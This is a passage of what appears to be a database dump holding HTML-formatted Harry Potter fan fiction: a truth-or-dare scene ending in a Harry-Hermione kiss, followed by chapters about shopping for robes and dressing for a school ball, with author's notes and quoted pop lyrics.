I&#8217;ll take truth, thanks.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Okay. If you could add one extra activity to what we&#8217;re\noffered, what would it be?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I think I would add either Drama or Dance, I think both of\nthose are very interesting.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Nice answer, now it&#8217;s your turn.&#8221; Lavender winked at Ron,\nglad she hadn&#8217;t asked the question she&#8217;d really wanted to.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Okay, George, truth or dare?&#8221; Ginny smiled slyly at her\nolder brother. However, he ceased to notice the smile.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I think I&#8217;ll take a dare, sister dear. Wouldn&#8217;t want to\nreveal any hidden secrets or anything.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Okay, George, I, Virginia Denise Weasley, hereby dare you,\nGeorge Michael Weasley, to sing any muggle song that was originally sung by a\nfemale.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">That was followed by whistles from the chasers, Hermione,\nRon, Harry, Parvati, and Lavender, and accented by the smirk Ginny wore, which,\nif she had had the cold look, almost could have been taught to her by a certain\nperson her brothers didn&#8217;t particularly care for. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">(Hint to a little D/G there, I&#8217;m crazy bout those two in\naddition to H/Hr)</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">George got up, thought a moment, and began to sing.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;There\'s a hero, If you look inside your heart, You don\'t have to be\nafraid, Of what you are...&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Okay, I think that&#8217;s enough there, George. You can get revenge on someone\nelse now.&#8221; Ginny thought that Dr-her secret boyfriend- would have enjoyed that\nshow.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Let&#8217;s see. Ron, truth or dare.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;George! Honestly, could you find someone else?&#8221; Ron was as red as his\nhair because he knew if he chose dare he&#8217;d regret it terribly. &#8220;Oh, fine, I&#8217;ll\ntake truth.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Tell us Ron, if Malfoy was nice to us, would you have ever considered\nbeing his friend?&#8221; With that, George winked at Ginny.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Ya know George, if that git was nice to me that would have been a lot\nless points I&#8217;d lost and a lot less detentions I&#8217;d gotten. So, yeah if he was\nnice, I might consider being his friend.&#8221; Ron looked relieved that the question\nwasn&#8217;t too hard to answer. &#8220;I take it that it&#8217;s my turn to ask someone now?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yes!&#8221; Everyone replied, in unison no less.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Okay, Harry, it&#8217;s your turn. Truth or Dare?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Obviously Harry wasn&#8217;t thinking clearly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Uh, Dare, I guess.&#8221; Harry had looked kind of glazed over in the eyes.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal"><b>Good, he chose dare, now we can achieve our goal. Operation Pumpkin Pie\nshould be successful!</b></p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">(A/N: The Operation Pumpkin Pie comment made by Ron)</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I, Ronald C. Weasley, hereby dare you, Harry J. Potter, to ask that\ngirl you like to the ball.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Uh&#8230;.&#8221; <b>Calm down, Potter, it&#8217;s not like she&#8217;d ever let you down that\nharsh, she is your best friend after all.</b>\n&#8220;Herm,wannagototheballwithme?&#8221;&nbsp; <b>There,\nnow that wasn&#8217;t so bad, was it?</b></p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal"><b>I&#8217;ve got to be dreaming. He didn&#8217;t just ask me to the ball. Did he?</b> &#8220;Repeat that,\nwould you, Harry?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Uh, Miss Granger, would you, er, do me the pleasure of being my, er,\ndate to the ball?&#8221; Harry asked, now sounding quite relieved to have done so, as\nit felt like a huge boulder had been lifted from his heart.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yes.&#8221; Soft as it was, it was heard quite clearly as nobody was making\na sound.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Really, you really will?&#8221; Harry&#8217;s grin was so wide that Ron and\nLavender felt staying longer would be intruding. Motioning to the others, the\ncommon room was soon void of occupation except the pair.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">(Note- this is fluffy, so if you don&#8217;t like fluff, you can comment on\nthe other stuff.)</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Of course I will, why would I even say no? I&#8217;d be mad to say no when I\nwould do anything for you.&#8221; Hermione was lifting her gaze to meet his, but when\ntheir eyes locked, she found herself drowning in their gorgeous emerald depths.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Er, Hermione, what would you say if I were to, er, kiss you?&#8221; Harry\nstudied her intently and brought his palm up to her cheek.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal"><b>If you don&#8217;t do it now, I&#8217;ll either do it myself or go crazy.</b> &#8220;I&#8217;d let you\ndo it, Harry, because I trust you with my life.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">And with that said, everything the pair had been afraid of disappeared,\nfor they now knew they&#8217;d never be alone, because in the soft, sweet, innocent\nkiss he gave her, they had found the person they&#8217;d always dreamed of.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hermione?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yes, Harry?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Every night, I&#8217;ve had this dream of finding someone, something. Now I\nfinally realized the something I wanted.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;And?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I wanted something like you. And I already had you.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;And I you, Harry. I wanted something like you.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">*~*~*~*~*~*~*~*~*~*~*~*~*</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoBodyText">Something magical<br>\nSomething magical<br>\nSomething spiritual<br>\nSomething spiritual<br>\nSomething strong within the two of us alone, yeah<br>\nSomething physical<br>\nSomething undeniable<br>\nNothing like anything (anything) that I\'ve ever known,<br>\ngirl<br>\n<br>\nSomethin\' happens<br>\n(Something happens when you look at me I forget to speak)<br>\nSomethin\' happens baby<br>\n(Something happens when you kiss my mouth)<br>\nMy knees get so weak<br>\nCould it be true that this is what God has meant for<br>\nme<br>\nCause baby I can\'t believe no<br>\nThat something like you<br>\nSomething like you<br>\nThat Something like you, could happen to me</p>\n\n<p class="MsoNormal"><i>- Something Like You, N&#8217;Sync, Album info at the top.</i></p>\n\n\n\n\n\n\n'),
	(120, 1, '\n\n\n\n<p class="MsoNormal">A Moment Like This </p>\n\n<p class="MsoNormal">Part 1</p>\n\n<p class="MsoNormal">By: Nicole</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Note- This is the ball! If you have read Something Like You, then you will\nunderstand this much better. And if Hermione seems a bit to concerned about colors\nand robe styles in the robe shopping, remember, this is Harry she&#8217;s going with\nand she wants to look nice at the ball.</p>\n\n<p class="MsoNormal">The key is pretty much the same as last time- <b>Bold &#8211;\nthoughts</b>; and <i>italics are song lyrics</i>.</p>\n\n<p class="MsoNormal">Also, thanks to Libbie in the H/H House party for reminding\nme what the Tickling charm is.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal"><i>A moment like this</i></p>\n\n<p class="MsoNormal"><i>Some people wait a lifetime</i></p>\n\n<p class="MsoNormal"><i>For a moment like this</i></p>\n\n<p class="MsoNormal"><i>Some people search forever</i></p>\n\n<p class="MsoNormal"><i>For that one special kiss</i></p>\n\n<p class="MsoNormal"><i>Oh, I can&#8217;t believe it&#8217;s happening to me</i></p>\n\n<p class="MsoNormal"><i>Some people wait a lifetime</i></p>\n\n<p class="MsoNormal"><i>For a moment like this</i></p>\n\n<p class="MsoNormal"><i>~&#8221;A Moment Like This&#8221; &#8211; Kelly Clarkson~</i></p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">*~*~*~*~*~*~*~*</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Lavender, hurry up! You&#8217;re not the only one who&#8217;s going in\ncouples to Hogsmeade today!&#8221; Hermione Granger paced in front of the door\nconnecting the bathroom to their dormitories.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Fine, Granger, let me look bad for Ron! You only care that\nyou look good for Mr. Potter. And you want to get to Hogsmeade and get the good\nrobes.&#8221; Lavender called back indignantly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoBodyText">&#8220;Well, Lav, can you blame me? I mean we only just knew we\nwere going to the ball together five days ago! You and Ron have had your minds\nmade up since before the last Hogsmeade weekend. You could have gotten your\nrobes then!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hermione&#8230; Mr. Weasley only just got his promotion,\nremember? Ron didn&#8217;t have the money last Hogsmeade weekend. Besides, we&#8217;re not\nleaving until he&#8217;s up and has eaten. And you know it takes him a while.&#8221;\nLavender poked her head out from behind the door, making sure Hermione was the\nonly one there before coming out. &#8220;Where&#8217;s Parvati?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;She went to ask Ginny if she could use their bathroom. Said\nsomething about a &#8216;silly blonde with a boyfriend.&#8217; Anyway, I&#8217;ve already been\ndown to the common room, and Harry&#8217;s already up! He said he was waiting on me,\nand that he&#8217;d left Ron for Neville, Dean, and Seamus to wake up. They have just\nenough distance to be able to do a prank to wake him up.&#8221; Hermione laughed,\nimagining what Dean and Seamus would come up with and what Neville&#8217;s reaction\nwould be.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well, go on Herms, get in there and get clean, I&#8217;ll pick you\nsomething to wear, since I&#8217;m assuming you&#8217;ve been so busy getting me out of\nthere you never picked your outfit for the outing today? Well, have no fear,\nLav&#8217;s here!&#8221; Lavender had just gotten her outfit on and looked happy at the\nprospect of choosing someone else&#8217;s outfit.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Fine. Nothing too short or too skimpy. Basically, one inch\nmax between top and skirt, or you can find my black skort and a top that you\nthink will go with it. Nothing of Parvati&#8217;s, ok?&#8221; Hermione figured that\nanything in the categories she had said not to choose was over the top, and\nmost everything else was decent enough for her age.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Okay, now get in there, I&#8217;m going to go with your skort, if\nI can find it, and I think I may have a top to go with it. Just trust me,\nokay?&#8221; Lavender opened the bathroom door and shoved Hermione inside, closing\nthe door behind her. &#8220;And don&#8217;t come out until you&#8217;re through!&#8221; And with that\nLavender went straight to her own trunk to find something.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Now where did I put that green &#190;-sleeve blouse?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">*~*~*~*~*~*~*</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione had agreed to the green blouse, and had let\nLavender put a little make-up on her. Ginny had come in as well, commenting on\nhow natural the make-up looked, and how the blouse and eyeshadow brought out\nthe gold flecks in her cinnamon-colored eyes.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry&#8217;s reaction, however, was nothing short of spell-bound,\nor star-struck, depending on which one you preferred to use. Ron, who had been\nwoken up with a bucket of ice cold water to his face, told Hermione she looked\n&#8220;Absolutely ravishing.&#8221; Of course, Ron being Ron, this was to be expected, as\nthe response was a typical one.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Once in Hogsmeade, Ron drug Harry away to the Quidditch\nSupply Store and Zonko&#8217;s, while Hermione dragged Lavender to the Wizard Supply\nShop, and the Bookstore. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">After a while the boys and the girls emerged from those\nshops and headed to Gladrags&#8217; Wizard Wear to get new robes for the ball.\nLavender and Hermione made sure when they passed Ginny heading out, that the\ntwo boys were distracted from noticing whose company she was in, for,\nespecially in Ron&#8217;s case, Ginny&#8217;s present company would not go without some\nkind of fight between brother and sister.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Lavender went through the possible robe colors, picking up\ncolor samples every now and then. Finally she held up a blue scrap and showed\nit to Ron.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What do you think of this color?&#8221; she asked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I don&#8217;t know,&#8221; he said, snatching the scrap out of her\nhand. &#8220;How does it look with <b>my</b> hair?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Perfect. It makes your hair seem not as red, as though it&#8217;s\nactually brown. Hmm, now I need a lighter shade of blue&#8230;&#8221; Lavender took the\nscrap back from Ron and held it next to some lighter samples. &#8220;Aha! Hermione,\nhow do these colors look together?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Huh, Lav? Oh, those go very well together! I&#8217;m trying to\nfind a robe style I like, but I&#8217;m having trouble. Plus, what about colors?&#8221;</p>\n\n<p class="MsoNormal">Hermione looked up from the pictures of different robe\nstyles.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well, let&#8217;s see what I can help you with. Hmm&#8230; How about\nthis shade of green?&#8221; Lavender asked pulling out a scrap of green that she had stashed\nwith the lighter blue. &#8220;I think with your coloring&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh, coloring, my foot! You just want Harry and I wearing\ngreen, because green goes with blue very well. Not to mention his eyes&#8230;&#8221;\nHermione got a dreamy look on her face. Lavender looked around and saw Harry\nand Ron over looking at the guys robes and commenting on how ridiculous some of\nthem were.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Herm, snap out of it! Let&#8217;s go help those two over there in\nchoosing their robes, then we can find robes in our colors and see which the\nboys like best.&#8221; Lavender pulled Hermione up out of the chair she had sat in to\ndrag her to the boys. Almost right away Lavender spotted some blue robes. She\npulled them off the rack and handed them to Ron. &#8220;Here you go!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Thanks, Lav. You&#8217;re such a help with these things. I&#8217;ll be\nright back, okay?&#8221; Ron took the robes to make sure they fit right and if not,\nto get them altered.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Lavender shot Hermione a look that clearly said &#8220;Help him\nout!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione scanned the rack for a dark green robe and pulled\nthe first one she saw.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry? Are you looking for something?&#8221; she asked with a\nsmall smile on her face.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh, yeah, sorry, Herm. Just drifted off for a minute there.\nYou found one? Thanks!&#8221; He grinned and hugged her, dashing off in the direction\nRon had went.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Now lets go find some robes, Hermione, and surprise them.&#8221;\nLavender pulled some robes with embroidery on them off the rack, handed the\ngreen ones to Hermione, and dragged her to the try-on area. &#8220;Come on!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">*~*~*~*~*~*~*~*~*</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">After they got their robes, they went to the Three\nBroomsticks and had a couple Butterbeers, but when they finished them, they\ndecided to head back to Hogwarts. After all, it had been a long day.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The next week was full of homework, even though the ball was\nthat Saturday, ironically, after the Slytherin/Ravenclaw quidditch match.\nBecause of the ball though, the game was going to start earlier than usual.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Finally, it was Friday, and you could tell that something\nwas happening soon, for all the excitement in the air- along with all the\nmagic, of course. After dinner, when the girls went up to their dorms, Ginny\nbrought her robe to Hermione and Lavender to keep, since they were helping her\nget out of the tower without Ron asking who her date was. If there was one\nthing that would happen, Ron would definitely get mad at Hermione, since she\nhad known since it happened, but most of all, Lavender would probably suffer\nthe worst, being Ron&#8217;s date to the ball.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">They all slept well that night, dreaming of the things they\nwanted to happen at the ball. Ginny dreamed Ron just ignored who her date was\nand was at least civil to him. Hermione just dreamed of getting Harry do at\nleast dance once, if she got one dance, she would be happy. Lavender, however,\nhoped that she and Ron would get some &#8216;alone&#8217; time. Ron dreamed he actually\napproved of Ginny&#8217;s date, and that Lavender wouldn&#8217;t force him to dance too\nmuch.&nbsp; Harry dreamed he told Hermione\nall about how he felt about her, and that he got to have some &#8216;alone&#8217; time with\nher, just enjoying being with one another.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">*~*~*~*~*~*~*~*~*~*</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The next morning, Ravenclaw beat Slytherin, thanks to Cho\nChang catching the Snitch before Draco Malfoy was even halfway there. Hermione\nhad borrowed Harry&#8217;s invisibility cloak before the match, and was going to lend\nit to Ginny, who would give it back after the ball. After the match, the girls\nwent up to start getting ready, and Ron started up an impromptu chess\ntournament.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione set her stuff up while Lavender was washing up, and\nwhen Lavender came out, Hermione went in next, while Parvati worked on\nLavender&#8217;s hair. Then when Hermione came out, Parvati dashed to wash up. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione put on her green robe, which with its gold trim,\nlooked like it had been made for a princess. Lavender, who was dressed in\nequally nice blue robes with bronze trim, was looking through the stuff she had\nlying on the table they had conjured up. She looked up and beckoned Hermione\nover to her. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Okay, let&#8217;s fix you up, Herm. Hair or make-up first?&#8221;\nLavender asked her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hair, I think, Lav. Doing my hair first should make doing\nthe make-up easier.&#8221; Hermione relaxed slightly seeing Lavender&#8217;s face. She\nfigured since Lavender was being so calm about this that there was no reason\nfor her to worry.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;So, Herm, how was Ginny going to do her hair? Was she going\nto get a spell for it?&#8221; Lavender asked after casting a spell that made her wand\nact as a curler and winding strands of Hermione&#8217;s hair around the tip. She held\nit for about ten seconds before letting the hair go and going to the next\nstrand.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I found her a really good charm, but you have to wait to\nsee what it does. It&#8217;s mine and Ginny&#8217;s little secret. At least until we see\nher at the ball,&#8221; Hermione closed her eyes, picturing what she&#8217;d like her own\nhair to look like.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Herm! I&#8217;m your partner in crime here, not some spy who&#8217;s\ngoing to run telling the big bad brother as soon as you tell me! I swear on my\nhonor as a Gryffindor!&#8221; Lavender was almost on her knees begging, or as close\nas she could be without stopping her hair curling.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Okay, I guess I can tell you. The spells I gave her were <i>Curlius\nSpiralis</i> for spiral curls, and then I gave her <i>Pilius Tressalus</i> to\npile the curls on her head. We even tried them then and there, and it was\nexactly like she wanted them to be! Lav, she&#8217;s going to look perfect.&#8221; Hermione\ncouldn&#8217;t wait for the ball right then, she wanted to see what everyone thought\nof Ginny&#8217;s hair.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hermione, what&#8217;s the charm for a lot of curls on the side\nand only curls on the end in the middle?&#8221; Lavender had had an idea, but she\nneeded those charms to do it.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hmm&#8230; Lots of curls on the side, that would be<i> Curlius\nSidalus</i>, and end curls in the middle is <i>Medianis Tipus Curlius</i>.\nMight I ask-&#8220;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What it&#8217;s for? No, but you will find out.&#8221; Lavender\nmuttered the charms, rummaged around in her hair clips, found her lily hair\ncombs with the emeralds, placed them in Hermione&#8217;s hair and muttered the\nHolding Charm so Hermione&#8217;s hair would stay all throughout the ball. &#8220;Okay, I\nthink it&#8217;s time for make-up, Herm. How about the same as last Saturday plus\nsome glitter in your hair, and on your skin? And for the colors, I&#8217;m thinking\ngreen and gold, and for your lips, red. But not too heavy, okay?</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;O-okay. Lav?&#8221; Hermione couldn&#8217;t help but look at their\nclock and see that the ball started in twenty-five minutes.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yes, Herm?&#8221; Lavender said as she cast the glitter charms on\nHermione&#8217;s skin and hair.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Are you sure I&#8217;ll look okay? I mean, my robes aren&#8217;t like\nthe ones I wore at the Yule Ball last year, and I don&#8217;t even have a cloak to go\nwith them. And what if-&#8220; Hermione got cut off by Lavender closing her mouth.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Let me put your Lipstick on, Herm. And yes, I&#8217;m sure you&#8217;ll\nlook great, your robes are perfect, and that remains to be seen. Now pout.&#8221;\nLavender took a few quick strokes with the tube. &#8220;Hold it, Granger. We need the\npowder, then the lip gloss for shine.&#8221; She pressed the tissue against\nHermione&#8217;s lips, dabbed powder over it, then took the lip gloss and dabbed some\non. &#8220;Okay, rub your lips together. Do you have your slippers on yet?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No. Lavender, what did you mean by &#8216;That remains to be\nseen&#8217;?&#8221; Hermione grabbed her gold slippers, pulling them onto her feet.</p>\n\n<p class="MsoNormal">&#8220;Was that about me having a cloak?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;That&#8217;s for me and someone else to know and you to find out\nwhen we go down. Speaking of that, there&#8217;s a better mirror down there, but you\ncan&#8217;t look in it until Harry&#8217;s seen you.&#8221; Lavender pushed her through the door,\nfollowing her down the stairs. &#8220;Wait, I&#8217;m going first, Herm. You need grand\nentrance.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Okay&#8230; If you say so Lav.&#8221; Hermione noticed they were almost\ndownstairs, so she stopped. &#8220;Should I wait here, Lady Lavender?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yes, Lady Granger, I believe that would be most convenient.\nDon&#8217;t come until you here me say something, okay? I believe your prince\nawaits.&#8221; Lavender stepped down the final steps into the common room. Hermione\ncould hear Harry tell Lavender she was looking very pretty. That was just like\nHarry, always the gentleman. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Lavender, where&#8217;s Herm?&#8221; Harry asked, wondering why she\nhadn&#8217;t yet entered the common room.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;She&#8217;s waiting for my signal. Hermione, you can come down\nnow!&#8221; Lavender stood beside Ron, with her arm resting in the crook of his\nelbow.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione descended the stairs with the grace of an angel.\nWhen she was finally in view, Harry felt his mouth open, and tried to say\nsomething, but the words wouldn&#8217;t come out. Ron pointed this out to Lavender,\nwho stepped over to Harry and shut his mouth, though it did nothing to distract\nhim. He just stared at her like he&#8217;d never seen anything as beautiful as\nHermione in his life.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hermione, you look very nice tonight, and I hope I can say\nwe won&#8217;t do any fighting tonight,&#8221; Ron said, turning a little red. &#8220;You gonna\ndo something about him?&#8221; Ron pointed to Harry, who seemed to be petrified.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry? Hello, anyone home? Harry, I&#8217;m sure I don&#8217;t look\nthat nice! Okay, that&#8217;s it, you asked for it Potter! <i>Rictusempra!</i>&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">That did the trick. Harry doubled over all of a sudden,\nfinally jerked out of his stupor. Hermione removed the charm and pulled him up.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Figures it takes me this long to understand why I like you\nso much, Herm. Let&#8217;s see where did I put that infernal box? Oh, here it is.\nHerm, this is for you.&#8221; Harry handed her the green square box with a look in\nhis eye saying that he didn&#8217;t even think what was in the box was enough.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She opened the box to find the most beautiful cloak she had\never seen.&nbsp; &#8220;Ohh, Harry, you shouldn&#8217;t\nhave! This must have cost you a fortune!&#8221; She pulled the cloak out to find that\nnot only was it green, the inside was gold, the edges were lined in gold, and\nthe clasp was gold with emeralds in the shape of a &#8216;H&#8217;.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Here, Hermione, you want me to help you with it?&#8221; Harry\nheld his hand out for the cloak and she handed it to him. He draped it around\nher shoulders carefully, and she held it in place while he came around to face\nher. He tilted her chin up and fastened the clasp, which glowed green and\nsuddenly, Hermione felt warm inside. &#8220;It has a warming charm on it, and its\nother properties work best if the giver fastens it the first time.&#8221; He offered\nher his arm, and she slipped her arm inside his. As they walked out the\nportrait hole, Ron and Lavender just barely heard something exchanged between\nthe two.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You know, Hermione, I think you&#8217;re the absolute prettiest\nwitch on the planet.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione just blushed and said thank you, by the way.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Stay tuned for part 2 &#8211; The Ball</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(120, 2, ' <p>A Moment Like This</p>\n\n<p>Chapter Two</p>\n\n<p><i>Pretty Baby</i></p>\n\n<p>By: Nicole</p>\n\n<p>&nbsp;</p>\n\n<p>I&#8217;m just going to jump right on in. For author&#8217;s notes and key to bold and italics, refer to SLY or Part 1 of Moment Like This, though the italic quotes are just things being said by random people. Also, I take no credit for the happy Christmas songs the ball will have.&nbsp; And I can write Draco however I choose, so don&#8217;t say a word.&nbsp; Also, <i>Rockin&#8217; Around the Christmas Tree</i> is dedicated to all of my fellow shippers on the HMS Pumpkin Pie.</p>\n\n<p>&nbsp;</p>\n\n<p>*~*~*~*~*~*~*~*~*~*</p>\n\n<p>&nbsp;</p>\n\n<p>When they arrived in the great hall, one look told Hermione that Ginny and her date had not yet arrived.&nbsp; <i>Seems he really does love to make an entrance, especially when his date isn&#8217;t the first person you&#8217;d expect.</i>&nbsp; She figured that since most everyone was going inside the Great Hall, they might as well go on in, too.</p>\n\n<p>&nbsp;</p>\n\n<p>She steered Harry towards the entrance 